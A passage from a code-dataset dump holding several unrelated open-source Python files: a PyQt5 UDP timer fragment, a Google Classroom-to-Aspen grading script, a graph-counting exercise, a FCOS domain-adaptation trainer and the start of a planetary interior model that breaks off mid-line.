3.\n 实例化一个QTimer对象，并将timeout信号和槽函数连接起来。在槽函数中，笔者首先获取到当前的系统时间并存储到message变量中，然后将QLabel控件的值设为message显示在窗口中。接着调用encode()\n 方法对message进行编码以用于传输。最后调用QUdpSocket对象的writedatagram()\n 方法将编码后的字节数据发送到本地主机地址，目标端口为6666；'''","repo_name":"WeiZe-Lu/learning","sub_path":"Python skills/PYQt5 learning/pyqt5 QtNetword/file one.py","file_name":"file one.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33181433599","text":"def mark_missing(p_gc_classname, p_aspen_classname, *,\n username='', password='', p_config_filename='crls_teacher_tools.ini',\n p_ignore_noduedate=False, p_use_stored_gc_students=False):\n from generate_ro_classroom_credential import generate_ro_classroom_credential\n from helper_functions.aspen_functions import generate_driver, aspen_login, goto_assignments_this_quarter, \\\n goto_scores_this_quarter, get_student_ids_from_aspen, get_assignments_and_assignment_ids_from_aspen, \\\n input_assignments_into_aspen\n from helper_functions.quarters import which_quarter_today, which_quarter_today_string, which_next_quarter\n from helper_functions.classroom_functions import get_assignments_from_classroom, class_name_2_id, \\\n get_student_profiles, get_assignment_scores_from_classroom, scrub_assignment_scores_student_id, \\\n verify_due_date_exists\n from helper_functions.db_functions import create_connection, execute_sql, query_db\n\n\n # Get current quarter's start date, get gc assignments,\n print(\"Marking missing for this classroom's grades:\" + str(p_gc_classname) +\n \" in this aspen class \" + str(p_aspen_classname))\n today_quarter_obj = which_quarter_today(p_filename=p_config_filename)\n next_quarter_obj = which_next_quarter(p_filename=p_config_filename)\n\n service_classroom = generate_ro_classroom_credential()\n course_id = class_name_2_id(service_classroom, p_gc_classname)\n courseworks = get_assignments_from_classroom(service_classroom, course_id, today_quarter_obj,\n p_next_quarter_start_obj=next_quarter_obj)\n\n print(courseworks)\n db_filename = 'database_gc_grades_put_in_aspen_' + p_aspen_classname + '.db'\n db_conn = create_connection(db_filename)\n\n # Get student profiles\n print(\"Getting student profiles\")\n gc_student_profiles = {}\n if p_use_stored_gc_students is False:\n gc_student_profiles = get_student_profiles(service_classroom, course_id)\n print(\"Here are Google classroom student profiles\")\n print(gc_student_profiles)\n\n sql = 'DELETE FROM \"gc_students\"'\n execute_sql(db_conn, sql)\n for id in gc_student_profiles:\n sql = 'INSERT INTO \"gc_students\" VALUES ( \"' + id + '\", \"' + gc_student_profiles[id] + '\" );'\n execute_sql(db_conn, sql)\n else:\n print(\"Using stored student profiles\")\n sql = 'SELECT * FROM \"gc_students\";'\n rows = query_db(db_conn, sql)\n for row in rows:\n gc_student_profiles[row[0]] = row[1]\n if len(gc_student_profiles) == 0:\n raise ValueError(p_gc_classname + \" has zero students according to the database. Run this program\"\n \"with the use_stored_gc_students=0 first\")\n num_gc_students = len(gc_student_profiles)\n","repo_name":"kakalotto/CRLS_google_classroom_autopopulator","sub_path":"mark_missing.py","file_name":"mark_missing.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28523862630","text":"# 창용 마을 무리의 개수\n\nfrom pprint import pprint\n\nT = int(input())\nfor t in range(1, T+1):\n N, M = map(int, input().split())\n\n phoneBook = {}\n for m in range(M):\n p1, p2 = map(int, input().split())\n\n if p1 in phoneBook:\n phoneBook[p1].append(p2)\n else:\n phoneBook[p1] = [p2]\n\n if p2 in phoneBook:\n phoneBook[p2].append(p1)\n else:\n phoneBook[p2] = [p1]\n\n answer = 0\n group_found = {}\n for person in range(1, N+1):\n if person in group_found:\n continue\n \n stack = [person]\n while stack:\n current_num = stack.pop()\n group_found[current_num] = 1\n if current_num not in phoneBook:\n continue\n else:\n nums = phoneBook[current_num]\n\n for num in nums:\n if num not in group_found and num not in stack:\n stack.append(num)\n answer += 1\n \n print('#{} {}'.format(t, answer))\n'''\n2\n6 5\n1 2\n2 5\n5 1\n3 4\n4 6\n6 8\n1 2\n2 5\n5 1\n3 4\n4 6\n5 4\n2 4\n2 3\n'''","repo_name":"Kuhnhee/TIL","sub_path":"algorithm/algorithm_challenges/SWEA/swea_1002_7465.py","file_name":"swea_1002_7465.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"10840496714","text":"import datetime\nimport logging\nimport time\n# import ipdb\nimport torch\nimport torch.distributed as dist\n\nfrom fcos_core.utils.comm import get_world_size, is_pytorch_1_1_0_or_later\nfrom fcos_core.utils.metric_logger import MetricLogger\n\nfrom fcos_core.structures.image_list import to_image_list\n\nimport os\nfrom fcos_core.data import make_data_loader, make_data_loader_source, make_data_loader_target\nfrom fcos_core.utils.miscellaneous import mkdir\nfrom .validation import _inference\nfrom fcos_core.utils.comm import synchronize\n\ndef foward_detector(cfg, model, images, targets=None, return_maps=True, mode='source', forward_target=False):\n with_middle_head = cfg.MODEL.MIDDLE_HEAD.CONDGRAPH_ON\n map_layer_to_index = {\"P3\": 0, \"P4\": 1, \"P5\": 2, \"P6\": 3, \"P7\": 4}\n feature_layers = map_layer_to_index.keys()\n model_backbone = model[\"backbone\"]\n\n # if with_middle_head:\n model_fcos = model[\"fcos\"]\n images = to_image_list(images)\n features = model_backbone(images.tensors)\n losses = {}\n if with_middle_head:\n model_middle_head = model[\"middle_head\"]\n features, loss_graph, loss_act_map, return_act_maps = model_middle_head(images, features, targets=targets,\n return_maps=return_maps, mode = mode, forward_target=forward_target)\n if loss_graph is not None:\n node_loss, consistency_loss = loss_graph\n if consistency_loss:\n consistency_loss = {\"consistency_loss\": consistency_loss}\n losses.update(consistency_loss)\n if node_loss:\n node_loss = {\"node_loss\": node_loss}\n losses.update(node_loss)\n if loss_act_map is not None:\n act_loss = {\"act_loss\": loss_act_map}\n losses.update(act_loss)\n else:\n return_act_maps = None\n\n proposals, proposal_losses, score_maps = model_fcos(\n images, features, targets=targets, return_maps=return_maps, act_maps=return_act_maps)\n\n\n f = {\n layer: features[map_layer_to_index[layer]]\n for layer in feature_layers\n }\n\n if return_act_maps:\n return_act_maps = {\n layer: return_act_maps[map_layer_to_index[layer]]\n for layer in feature_layers\n }\n\n if model_fcos.training:\n if not targets:\n assert len(proposal_losses) == 1 and proposal_losses[\"zero\"] == 0\n losses.update(proposal_losses)\n return losses, f, return_act_maps\n else:\n # inference\n result = proposals\n return result\n\n\n\ndef reduce_loss_dict(loss_dict):\n \"\"\"\n Reduce the loss dictionary from all processes so that process with rank\n 0 has the averaged results. Returns a dict with the same fields as\n loss_dict, after reduction.\n \"\"\"\n world_size = get_world_size()\n if world_size < 2:\n return loss_dict\n with torch.no_grad():\n loss_names = []\n all_losses = []\n for k in sorted(loss_dict.keys()):\n loss_names.append(k)\n all_losses.append(loss_dict[k])\n all_losses = torch.stack(all_losses, dim=0)\n dist.reduce(all_losses, dst=0)\n if dist.get_rank() == 0:\n # only main process gets accumulated, so only divide by\n # world_size in this case\n all_losses /= world_size\n reduced_losses = {k: v for k, v in zip(loss_names, all_losses)}\n return reduced_losses\n\ndef validataion(cfg, model, data_loader, distributed=False):\n if distributed:\n model[\"backbone\"] = model[\"backbone\"].module\n model[\"fcos\"] = model[\"fcos\"].module\n iou_types = (\"bbox\",)\n dataset_name = cfg.DATASETS.TEST\n assert len(data_loader) == 1, \"More than one validation sets!\"\n data_loader = data_loader[0]\n # for dataset_name, data_loader_val in zip( dataset_names, data_loader):\n results, _ = _inference(\n cfg,\n model,\n data_loader,\n dataset_name=dataset_name,\n iou_types=iou_types,\n box_only=False if cfg.MODEL.ATSS_ON or cfg.MODEL.FCOS_ON or cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,\n device=cfg.MODEL.DEVICE,\n expected_results=cfg.TEST.EXPECTED_RESULTS,\n expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,\n output_folder=None,\n )\n synchronize()\n return results\n\ndef do_train(\n model,\n data_loader,\n optimizer,\n scheduler,\n checkpointer,\n device,\n checkpoint_period,\n arguments,\n cfg,\n distributed,\n meters,\n):\n with_DA = cfg.MODEL.DA_ON\n data_loader_source = data_loader[\"source\"]\n # Start training\n logger = logging.getLogger(\"fcos_core.trainer\")\n logger.info(\"Start training\")\n # model.train()\n for k in model:\n model[k].train()\n\n start_iter = arguments[\"iteration\"]\n start_training_time = time.time()\n end = time.time()\n AP50 = cfg.SOLVER.INITIAL_AP50\n AP50_emp = 0\n pytorch_1_1_0_or_later = is_pytorch_1_1_0_or_later()\n\n if not with_DA:\n\n max_iter = len(data_loader_source)\n for iteration, (images_s,targets_s, _) in enumerate(data_loader_source, start_iter):\n data_time = time.time() - end\n iteration = iteration + 1\n arguments[\"iteration\"] = iteration\n if not pytorch_1_1_0_or_later:\n # scheduler.step()\n for k in scheduler:\n scheduler[k].step()\n images_s = images_s.to(device)\n targets_s = [target_s.to(device) for target_s in targets_s]\n for k in optimizer:\n optimizer[k].zero_grad()\n ##########################################################################\n #################### (1): train G with source domain #####################\n ##########################################################################\n loss_dict, features_s, score_maps_s = foward_detector(cfg, model, images_s, targets=targets_s, return_maps=True, mode='source')\n\n loss_dict = {k + \"_gs\": loss_dict[k] for k in loss_dict}\n losses = sum(loss for loss in loss_dict.values())\n # reduce losses over all GPUs for logging purposes\n loss_dict_reduced = reduce_loss_dict(loss_dict)\n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n meters.update(loss_gs=losses_reduced, **loss_dict_reduced)\n\n losses.backward()\n\n for k in optimizer:\n optimizer[k].step()\n\n if pytorch_1_1_0_or_later:\n # scheduler.step()\n for k in scheduler:\n scheduler[k].step()\n # End of training\n batch_time = time.time() - end\n end = time.time()\n meters.update(time=batch_time, data=data_time)\n eta_seconds = meters.time.global_avg * (max_iter - iteration)\n eta_string = str(datetime.timedelta(seconds=int(eta_seconds)))\n\n if iteration % 20 == 0 or iteration == max_iter:\n logger.info(\n meters.delimiter.join([\n \"eta: {eta}\",\n \"iter: {iter}\",\n \"{meters}\",\n \"lr_backbone: {lr_backbone:.6f}\",\n \"lr_fcos: {lr_fcos:.6f}\",\n \"max mem: {memory:.0f}\",\n ]).format(\n eta=eta_string,\n iter=iteration,\n meters=str(meters),\n lr_backbone=optimizer[\"backbone\"].param_groups[0][\"lr\"],\n lr_fcos=optimizer[\"fcos\"].param_groups[0][\"lr\"],\n memory=torch.cuda.max_memory_allocated() / 1024.0 / 1024.0, ))\n if cfg.SOLVER.ADAPT_VAL_ON:\n if iteration % cfg.SOLVER.VAL_ITER == 0:\n val_results = validataion(cfg, model, data_loader[\"val\"], distributed)\n # used for saving model\n AP50_emp = val_results.results['bbox'][cfg.SOLVER.VAL_TYPE] * 100\n # used for logging\n meter_AP50= val_results.results['bbox']['AP50'] * 100\n meter_AP = val_results.results['bbox']['AP']* 100\n meters.update(AP = meter_AP, AP50 = meter_AP50 )\n\n if AP50_emp > AP50:\n AP50 = AP50_emp\n checkpointer.save(\"model_{}_{:07d}\".format(AP50, iteration), **arguments)\n print('***warning****,\\n best model updated. {}: {}, iter: {}'.format(cfg.SOLVER.VAL_TYPE, AP50,\n iteration))\n if distributed:\n model[\"backbone\"] = model[\"backbone\"].module\n model[\"middle_head\"] = model[\"middle_head\"].module\n model[\"fcos\"] = model[\"fcos\"].module\n for k in model:\n model[k].train()\n\n else:\n if iteration % checkpoint_period == 0:\n checkpointer.save(\"model_{:07d}\".format(iteration), **arguments)\n\n # save the last model\n if iteration == max_iter:\n checkpointer.save(\"model_final\", **arguments)\n else:\n\n data_loader_target = data_loader[\"target\"]\n max_iter = max(len(data_loader_source), len(data_loader_target))\n USE_DIS_GLOBAL = arguments[\"use_dis_global\"]\n USE_DIS_CENTER_AWARE = arguments[\"use_dis_ca\"]\n USE_DIS_OUT = arguments[\"use_dis_out\"]\n USE_DIS_CON = arguments[\"use_dis_con\"]\n used_feature_layers = arguments[\"use_feature_layers\"]\n # dataloader\n\n # classified label of source domain and target domain\n source_label = 1.0\n target_label = 0.0\n # dis_lambda\n if USE_DIS_GLOBAL:\n ga_dis_lambda = arguments[\"ga_dis_lambda\"]\n if USE_DIS_CENTER_AWARE:\n ca_dis_lambda = arguments[\"ca_dis_lambda\"]\n if USE_DIS_OUT:\n out_dis_lambda = arguments[\"out_dis_lambda\"]\n if USE_DIS_CON:\n con_dis_lambda = arguments[\"con_dis_lambda\"]\n\n assert len(data_loader_source) == len(data_loader_target)\n for iteration, ((images_s, targets_s, _), (images_t, targets_t, _)) in enumerate(zip(data_loader_source, data_loader_target), start_iter):\n data_time = time.time() - end\n iteration = iteration + 1\n arguments[\"iteration\"] = iteration\n # in pytorch >= 1.1.0, scheduler.step() should be run after optimizer.step()\n if not pytorch_1_1_0_or_later:\n # scheduler.step()\n for k in scheduler:\n scheduler[k].step()\n images_s = images_s.to(device)\n targets_s = [target_s.to(device) for target_s in targets_s]\n\n images_t = images_t.to(device)\n\n # targets_t = [target_t.to(device) for target_t in targets_t]\n for k in optimizer:\n optimizer[k].zero_grad()\n\n ##########################################################################\n #################### (1): train G with source domain #####################\n ##########################################################################\n\n loss_dict, features_s, score_maps_s = foward_detector(cfg,\n model, images_s, targets=targets_s, return_maps=True, mode='source')\n\n\n loss_dict = {k + \"_gs\": loss_dict[k] for k in loss_dict}\n losses = sum(loss for loss in loss_dict.values())\n\n # reduce losses over all GPUs for logging purposes\n loss_dict_reduced = reduce_loss_dict(loss_dict)\n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n meters.update(loss_gs=losses_reduced, **loss_dict_reduced)\n losses.backward(retain_graph=True)\n\n # del loss_dict, losses\n\n ##########################################################################\n #################### (2): train D with source domain #####################\n ##########################################################################\n # TODO GCNs computation graph\n # loss_dict = {}\n if cfg.MODEL.MIDDLE_HEAD.CONDGRAPH_ON:\n\n loss_dict = {'zeros': 0 * loss_dict['node_loss_gs']}\n else:\n loss_dict = {}\n\n for layer in used_feature_layers:\n\n if USE_DIS_GLOBAL:\n loss_dict[\"loss_adv_%s_ds\" % layer] = \\\n ga_dis_lambda * model[\"dis_%s\" % layer](features_s[layer], source_label, domain='source')\n if USE_DIS_CENTER_AWARE:\n # detatch score_map\n for map_type in score_maps_s[layer]:\n score_maps_s[layer][map_type] = score_maps_s[layer][map_type].detach()\n loss_dict[\"loss_adv_%s_CA_ds\" % layer] = \\\n ca_dis_lambda * model[\"dis_%s_CA\" % layer]\\\n (features_s[layer], source_label, score_maps_s[layer], domain='source')\n if USE_DIS_OUT:\n loss_dict[\"loss_adv_%s_OUT_ds\" % layer] = \\\n out_dis_lambda * model[\"dis_%s_OUT\" % layer]\\\n (source_label, score_maps_s[layer], domain='source')\n if USE_DIS_CON:\n loss_dict[\"loss_adv_%s_CON_ds\" % layer] = \\\n con_dis_lambda * model[\"dis_%s_CON\" % layer]\\\n (features_s[layer], source_label,score_maps_s[layer], domain='source')\n\n\n losses = sum(loss for loss in loss_dict.values())\n # reduce losses over all GPUs for logging purposes\n\n loss_dict_reduced = reduce_loss_dict(loss_dict)\n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n meters.update(loss_ds=losses_reduced, **loss_dict_reduced)\n\n losses.backward()\n del loss_dict, losses\n\n ##########################################################################\n #################### (3): train D with target domain #####################\n ##########################################################################\n #TODO A better dynamic strategy\n forward_target = AP50_emp > cfg.SOLVER.INITIAL_AP50\n\n loss_dict, features_t, score_maps_t = foward_detector(cfg, model, images_t, return_maps=True, mode='target',forward_target=forward_target)\n loss_dict = {k + \"_gt\": loss_dict[k] for k in loss_dict}\n # losses = sum(loss for loss in loss_dict.values())\n # assert len(loss_dict) == 1 and loss_dict[\"zero\"] == 0 # loss_dict should be empty dict\n # loss_dict[\"loss_adv_Pn\"] = model_dis_Pn(features_t[\"Pn\"], target_label, domain='target')\n for layer in used_feature_layers:\n # detatch score_map\n if USE_DIS_GLOBAL:\n loss_dict[\"loss_adv_%s_dt\" % layer] = \\\n ga_dis_lambda * model[\"dis_%s\" % layer]\\\n (features_t[layer], target_label, domain='target')\n if USE_DIS_CENTER_AWARE:\n for map_type in score_maps_t[layer]:\n score_maps_t[layer][map_type] = score_maps_t[layer][map_type].detach()\n loss_dict[\"loss_adv_%s_CA_dt\" %layer] = \\\n ca_dis_lambda * model[\"dis_%s_CA\" % layer]\\\n (features_t[layer], target_label, score_maps_t[layer], domain='target')\n if USE_DIS_OUT:\n loss_dict[\"loss_adv_%s_OUT_dt\" %layer] = \\\n out_dis_lambda * model[\"dis_%s_OUT\" % layer]\\\n (target_label, score_maps_t[layer], domain='target')\n if USE_DIS_CON:\n loss_dict[\"loss_adv_%s_CON_dt\" % layer] = \\\n con_dis_lambda * model[\"dis_%s_CON\" % layer]\\\n (features_t[layer], target_label, score_maps_t[layer], domain='target')\n\n losses = sum(loss for loss in loss_dict.values())\n\n # del loss_dict['zero_gt']\n # # reduce losses over all GPUs for logging purposes\n loss_dict_reduced = reduce_loss_dict(loss_dict)\n losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n meters.update(loss_dt=losses_reduced, **loss_dict_reduced)\n losses.backward()\n del loss_dict, losses\n\n # saved GRL gradient\n # grad_list = []\n # for layer in used_feature_layers:\n # def save_grl_grad(grad):\n # grad_list.append(grad)\n # features_t[layer].register_hook(save_grl_grad)\n # print(' back D with target domain')\n # Uncomment to log GRL gradient\n # grl_grad = {}\n # grl_grad_log = {}\n # grl_grad = {\n # layer: grad_list[i]\n # for i, layer in enumerate(used_feature_layers)\n # }\n # for layer in used_feature_layers:\n # saved_grad = grl_grad[layer]\n # grl_grad_log[\"grl_%s_abs_mean\" % layer] = torch.mean(\n # torch.abs(saved_grad)) * 10e4\n # grl_grad_log[\"grl_%s_mean\" % layer] = torch.mean(saved_grad) * 10e6\n # grl_grad_log[\"grl_%s_std\" % layer] = torch.std(saved_grad) * 10e6\n # grl_grad_log[\"grl_%s_max\" % layer] = torch.max(saved_grad) * 10e6\n # grl_grad_log[\"grl_%s_min\" % layer] = torch.min(saved_grad) * 10e6\n # meters.update(**grl_grad_log)\n # del loss_dict, losses, grad_list, grl_grad, grl_grad_log\n\n ##########################################################################\n ##########################################################################\n ##########################################################################\n\n # optimizer.step()\n for k in optimizer:\n optimizer[k].step()\n\n if pytorch_1_1_0_or_later:\n # scheduler.step()\n for k in scheduler:\n scheduler[k].step()\n\n # End of training\n batch_time = time.time() - end\n end = time.time()\n meters.update(time=batch_time, data=data_time)\n eta_seconds = meters.time.global_avg * (max_iter - iteration)\n eta_string = str(datetime.timedelta(seconds=int(eta_seconds)))\n\n\n sample_layer = used_feature_layers[0] # sample any one of used feature layer\n if USE_DIS_GLOBAL:\n sample_optimizer = optimizer[\"dis_%s\" % sample_layer]\n if USE_DIS_CENTER_AWARE:\n sample_optimizer = optimizer[\"dis_%s_CA\" % sample_layer]\n if USE_DIS_OUT:\n sample_optimizer = optimizer[\"dis_%s_OUT\" % sample_layer]\n if USE_DIS_CON:\n sample_optimizer = optimizer[\"dis_%s_CON\" % sample_layer]\n if iteration % 20 == 0 or iteration == max_iter:\n logger.info(\n meters.delimiter.join([\n \"eta: {eta}\",\n \"iter: {iter}\",\n \"{meters}\",\n \"lr_backbone: {lr_backbone:.6f}\",\n \"lr_middle_head: {lr_middle_head:.6f}\",\n \"lr_fcos: {lr_fcos:.6f}\",\n \"lr_dis: {lr_dis:.6f}\",\n \"max mem: {memory:.0f}\",\n ]).format(\n eta=eta_string,\n iter=iteration,\n meters=str(meters),\n lr_backbone=optimizer[\"backbone\"].param_groups[0][\"lr\"],\n lr_middle_head=optimizer[\"middle_head\"].param_groups[0][\"lr\"],\n lr_fcos=optimizer[\"fcos\"].param_groups[0][\"lr\"],\n lr_dis=sample_optimizer.param_groups[0][\"lr\"],\n memory=torch.cuda.max_memory_allocated() / 1024.0 / 1024.0,\n ))\n\n if cfg.SOLVER.ADAPT_VAL_ON:\n if iteration % cfg.SOLVER.VAL_ITER== 0:\n val_results = validataion(cfg, model, data_loader[\"val\"], distributed)\n # used for saving model\n AP50_emp = val_results.results['bbox'][cfg.SOLVER.VAL_TYPE] * 100\n # used for logging\n meter_AP50 = val_results.results['bbox']['AP50'] * 100\n meter_AP = val_results.results['bbox']['AP'] * 100\n meters.update(AP=meter_AP, AP50=meter_AP50)\n\n if AP50_emp > AP50:\n\n AP50 = AP50_emp\n checkpointer.save(\"model_{}_{:07d}\".format(AP50, iteration), **arguments)\n print('***warning****,\\n best model updated. {}: {}, iter: {}'.format(cfg.SOLVER.VAL_TYPE, AP50, iteration))\n if distributed:\n model[\"backbone\"] = model[\"backbone\"].module\n model[\"middle_head\"] = model[\"middle_head\"].module\n model[\"fcos\"] = model[\"fcos\"].module\n for k in model:\n model[k].train()\n else:\n if iteration % checkpoint_period == 0:\n checkpointer.save(\"model_{:07d}\".format(iteration), **arguments)\n if iteration == max_iter:\n checkpointer.save(\"model_final\", **arguments)\n\n total_training_time = time.time() - start_training_time\n total_time_str = str(datetime.timedelta(seconds=total_training_time))\n logger.info(\"Total training time: {} ({:.4f} s / it)\".format(\n total_time_str, total_training_time / (max_iter)))\n","repo_name":"CityU-AIM-Group/SCAN","sub_path":"fcos_core/engine/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":22191,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"47"} +{"seq_id":"70150642062","text":"import numpy as np\nimport const\nfrom scipy.interpolate import interp1d # , splrep, splev\nfrom scipy.integrate import trapz, solve_ivp\n\nclass ConvergenceError(Exception):\n pass\nclass AtmError(Exception):\n pass\nclass EOSError(Exception):\n pass\nclass EnergyError(Exception):\n pass\nclass UnphysicalParameterError(Exception):\n pass\nclass MoistIntegrationError(Exception):\n pass\nimport time\nfrom importlib import reload\n\nclass planet:\n def __init__(self, planet, nz=512, hhe_eos_option='chabrier', z_eos_option='aneos', path_to_data=None, mesh_surf_amp=1e5, mesh_surf_width=5e-2):\n\n self.planet = planet # important for setting atmosphere boundary condition (here) and total mass (in self.static)\n\n if not path_to_data:\n from pathlib import Path\n # path to data not specified; default to ./eos/data\n path_to_data = Path(__file__).absolute().parent / 'data'\n\n # initialize h/he and z eos\n if hhe_eos_option == 'mh13_scvh':\n from eos import mh13_scvh\n self.hhe_eos = mh13_scvh.eos(path_to_data)\n elif hhe_eos_option == 'scvh':\n from eos import scvh\n self.hhe_eos = scvh.eos(path_to_data)\n elif hhe_eos_option == 'chabrier':\n from eos import chabrier\n self.hhe_eos = chabrier.eos(path_to_data)\n else:\n raise ValueError(f'hhe_eos_option {hhe_eos_option} not recognized.')\n if z_eos_option == 'aneos':\n from eos import aneos\n self.z_eos = aneos.eos(path_to_data, material='ice')\n elif z_eos_option == 'mazevet' or 'maz':\n from eos import mazevet\n self.z_eos = mazevet.eos(path_to_data)\n else:\n raise ValueError(f'z_eos_option {z_eos_option} not recognized.')\n self.hhe_eos_option = hhe_eos_option\n self.z_eos_option = z_eos_option\n\n self.onset_of_condensation = True\n self.t1_when_condensation_begins = 0.0\n self.t10_when_condensation_begins = 0.0\n self.t1_when_stable_zone_forms = 0.0\n self.t10_when_stable_zone_forms = 0.0\n\n\n # initialize model atmospheres (outer boundary condition for models)\n if False:\n import f11_atm # fortney+2011 tabulated model atmospheres; not working at present for jupiter test case\n self.atm = f11_atm.atm(path_to_data=path_to_data, planet=self.planet)\n else:\n import f11_atm_fit # leconte + chabrier analytic fit to the same model atmospheres; more flexible for bad initial guesses\n self.atm = f11_atm_fit.atm(planet=self.planet)\n\n # initialize lagrangian mesh we solve the equations on\n self.nz = nz\n f0 = np.linspace(0, 1, self.nz)\n density_f0 = 1. / np.diff(f0)\n density_f0 = np.insert(density_f0, 0, density_f0[0])\n density_f0 += mesh_surf_amp * f0 * np.exp((f0 - 1.) / mesh_surf_width) * np.mean(density_f0) # boost mesh density near surface\n out = np.cumsum(1. / density_f0)\n out -= out[0]\n out /= out[-1]\n self.mesh = out\n\n # initialize structure variables\n self.y = np.zeros(self.nz) # helium mass fraction\n self.z = np.zeros(self.nz) # h2o mass fraction\n self.p = np.zeros(self.nz) # pressure (dyne cm^-2)\n self.t = np.zeros(self.nz) # temperature (K)\n self.rho = np.zeros(self.nz) # density (g cm^-3)\n self.rho_hhe = np.zeros(self.nz) # density of h/he subsystem (g cm^-3)\n self.rho_z = np.zeros(self.nz) # density of water subsystem (g cm^-3)\n self.cp_hhe = np.zeros(self.nz) # specific heat of h/he subsystem at constant pressure (erg K^-1 g^-1)\n self.grada = np.zeros(self.nz) # adiabatic temperature gradient (dlnt/dlnp)_s\n # energy equation in evolve tracks cooling of h/he via changes in its entropy\n self.entropy_hhe = np.zeros(self.nz) # entropy of h/he subsystem (erg K^-1 g^-1);\n # energy equation in evolve tracks cooling of h2o via changes in its internal energy u and specific volume 1/rho\n self.u_z = np.zeros(self.nz) # internal energy of h2o subsystem (erg g^-1)\n self.alpha = np.zeros(self.nz) # stability criterion cf. Friedson+Gonzalez 2017 eq. 3\n # self.kappa = np.zeros(self.nz) # opacities taken from Valencia et al., 2013\n # self.grav = np.zeros(self.nz) # gravity at mass coordinate\n # self.grad_rad = np.zeros(self.nz) # radiative gradient from Leconte et al., eq. (52)\n\n def get_eos_results(self):\n '''\n query self.hhe_eos and self.z_eos for densities and derivatives throughout the current structure model.\n most importantly this sets rho and grada everywhere (important for the static model),\n and evaluates the entropy everywhere (important for the evolutionary model).\n (in reality it's entropy for h/he, internal energy and density for z; just due to the columns available\n in the respective tables.)\n '''\n if np.any(np.isnan(np.log10(self.p))):\n raise EOSError(f'have {len(np.log10(self.p)[np.isnan(np.log10(self.p))])} nans in logp')\n elif np.any(np.isnan(np.log10(self.t))):\n raise EOSError(f'have {len(np.log10(self.t)[np.isnan(np.log10(self.t))])} nans in logt')\n elif np.any(self.y[self.kcore:] <= 0.):\n raise UnphysicalParameterError('one or more bad y')\n elif np.any(self.y >= 1.):\n raise UnphysicalParameterError('one or more bad y')\n elif np.any(self.z < 0.):\n raise UnphysicalParameterError('one or more bad z')\n elif np.any(self.z > 1.):\n raise UnphysicalParameterError('one or more bad z')\n\n # hhe eos results. pass not true y but y_xy, since hhe eos describes just the h/he system.\n # as a result only evaluate it outside the core, because within the core y_xy is undefined.\n hhe_res = self.hhe_eos.get(np.log10(self.p[self.kcore:]), np.log10(self.t[self.kcore:]), self.y[self.kcore:] / (1. - self.z[self.kcore:]))\n z_res = self.z_eos.get(np.log10(self.p), np.log10(self.t)) # z eos results: evaluate everywhere\n self.rho_hhe[self.kcore:] = 10 ** hhe_res['logrho']\n self.rho_z = 10 ** z_res['logrho']\n self.rho[:self.kcore] = self.rho_z[:self.kcore] # core: pure z\n self.rho[self.kcore:] = ((1. - self.z[self.kcore:]) / self.rho_hhe[self.kcore:] + \\\n self.z[self.kcore:] / self.rho_z[self.kcore:]) ** -1. # envelope: additive volume rule\n\n if False: # aneos z eos not set up to provide delta, so skip this\n # these delta and cp expressions follow from additive volume\n # (densities add in reciprocal weighted by mass fractions; internal energies simply add weighted by their mass fractions)\n self.delta = self.z * self.rho / self.rho_z * z_res['delta'] # z part\n self.delta[self.kcore:] += (1. - self.z[self.kcore:]) * self.rho[self.kcore:] / self.rho_hhe[self.kcore:] * hhe_res['delta'] # h/he part\n self.cp_z = z_res['cp']\n self.cp_hhe[self.kcore:] = hhe_res['cp']\n self.cp = self.z * self.cp_z # z part\n self.cp[self.kcore:] += (1. - self.z[self.kcore:]) * hhe_res['cp'] # h/he part\n self.grada = self.p * self.delta / self.t / self.rho / self.cp # e.g., scheibe, nettelmann & redmer eq. (5)\n\n self.grada_z = self.p * z_res['delta'] / self.t / self.rho_z / self.cp_z\n else:\n # just ignore the effect of z on the dry adiabatic gradient\n self.grada[self.kcore:] = hhe_res['grada']\n self.grada[:self.kcore] = 0.\n\n self.entropy_hhe[self.kcore:] = 10 ** hhe_res['logs']\n self.u_z = 10 ** z_res['logu']\n\n # also store internal energy for h/he for updated timestep calculation (based on total energy of model)\n self.u_hhe = 10 ** hhe_res['logu']\n\n # internal energy of the mixture is a weighted sum of the two components\n self.u = self.z * self.u_z\n self.u[self.kcore:] += (1. - self.z[self.kcore:]) * self.u_hhe\n\n def integrate_continuity(self):\n ''' dm = 4 pi r^2 rho dr '''\n q = np.zeros_like(self.rho)\n q[0] = 0.\n q[1:] = 3. * self.dm / 4 / np.pi / self.rho[1:]\n self.r = np.cumsum(q) ** (1. / 3)\n\n def integrate_hydrostatic(self):\n ''' dp / dr = - rho g '''\n dp = const.cgrav * self.m[1:] * self.dm / 4. / np.pi / self.r[1:] ** 4\n psurf = 1e6 # changing to 1 bar 11/04/2020\n self.p[-1] = psurf\n self.p[:-1] = psurf + np.cumsum(dp[::-1])[::-1]\n\n if np.any(np.isnan(self.p)):\n nnan = len(self.p[np.isnan(self.p)])\n raise EOSError(f'{nnan} nans in pressure after integrate hydrostatic on iteration {self.static_iters}.')\n\n def integrate_temperature_dry(self, t_top):\n '''\n just do simple integration of dry adiabat from surface\n t_top :: temperature at atm top (1 or 10 bars)\n '''\n\n # create an interpolant for grad_dry so integrator can quickly evaluate at arbitrary pressures\n interp_grada = interp1d(self.p, self.grada)\n def dtdp(p, t):\n return t / p * interp_grada(p)\n\n p_eval = self.p[self.kcore:][::-1] # evaluate resulting temperature profile on pressures from base of stable region to core top\n sol = solve_ivp(dtdp, (p_eval[0], p_eval[-1]), np.array([t_top]), t_eval=p_eval) # start from top of homogeneous outer envelope\n assert sol.success, 'failed in integrate_temperature'\n self.t[self.kcore:] = sol.y[0][::-1]\n self.t[:self.kcore] = self.t[self.kcore] # isothermal core\n\n if np.any(np.isnan(self.t)):\n raise EOSError('%i nans in temperature after 